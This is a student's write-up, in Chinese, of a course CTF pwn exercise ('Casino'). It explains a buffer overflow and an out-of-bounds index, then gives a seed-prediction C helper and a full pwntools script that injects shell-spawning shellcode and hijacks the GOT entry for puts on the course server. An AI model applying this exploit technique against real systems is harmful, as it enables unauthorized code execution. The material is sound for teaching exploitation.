###### tags: `程安` # CS 2019 Fall - Homework 0x05 ### [0x05] Casino 先 checksec ``` CANARY : ENABLED FORTIFY : ENABLED NX : disabled PIE : disabled RELRO : Partial --> GOT可寫 ``` 然後去找到可以 overflow 的點 ```cpp= char name[0x10] = {0}; read( 0 , name , 0x100 ); <-- 可寫長度超出name的範圍 int guess[6] = {0}; int idx = read_int() - 1; guess[idx] = read_int(); <-- idx可超出guess的範圍 ``` 這題的主要流程 & 一些小細節︰(GOT hijack) 1. 把 shellcode 寫到 name 上 * 把`name`寫到 overflow 可以蓋過`seed`和`age` * 數值產生順序 :`seed`→`name`→`age` * 我們可以藉由`name` overflow 來控制`seed`,進而預測`lottery[i]`的結果 → 寫一個 c code 來生成 * 如果直接把 shellcode 寫在`name`上,後面輸入`age`時會蓋到 shellcode 的內容 → 把 shellcode 的位置調整到`age`後面 2. 利用 guess[idx] 的 idx 來改寫 GOT * `rip`為 8 Bytes,但藉由`read_int()`一次只能改寫 4 Bytes,所以要改寫兩次 3. 觸發某個 function 讓他去 GOT 上查表,並跳轉到 shellcode 上 * 目標為`puts()`而不是`printf()` * 理由為`printf()`在進行第二輪猜測時仍會使用到,如果這時已經改寫了 GOT 上`printf()`的位置,那就會跳到奇怪的地方導致程式死去 ```cpp= // lottery.c #include <stdio.h> #include <stdlib.h> int main() { int lottery[6] = {0}, seed = 0; srand(seed); for (int i = 0; i < 6; ++i) { lottery[i] = rand() % 100; printf("%d, ", lottery[i]); // lottery = {83, 86, 77, 15, 93, 35} } } ``` ```python= # script.py from pwn import * context.arch = 'amd64' host, port = "edu-ctf.csie.org", 10172 p = remote(host, port) payload = "FUCK" * 4 # &name = 0x6020F0 payload += "\x00" * 4 # seed = 0 payload += "\x00" * 4 # age = 0, but will be overwrite later # &shellcode = 0x602108 = 6299912d shellcode = pwnlib.shellcraft.amd64.linux.sh() p.sendlineafter(": ", payload + asm(shellcode)) for i in range(1 + 6): p.sendlineafter(": ", "20") p.sendlineafter(": ", "1") p.sendlineafter(": ", "-42") # overwrite guess[-43] p.sendlineafter(": ", "0") # 0x0000000000602108 # |------| lottery = [83, 86, 77, 15, 93, 35] for i in range(6): p.sendlineafter(": ", str(lottery[i])) p.sendlineafter(": ", "1") p.sendlineafter(": ", "-43") # overwrite guess[-44] p.sendlineafter(": ", "6299912") # 0x0000000000602108 # |------| p.interactive() ``` :::success ![](https://i.imgur.com/kCwXeiU.png) :::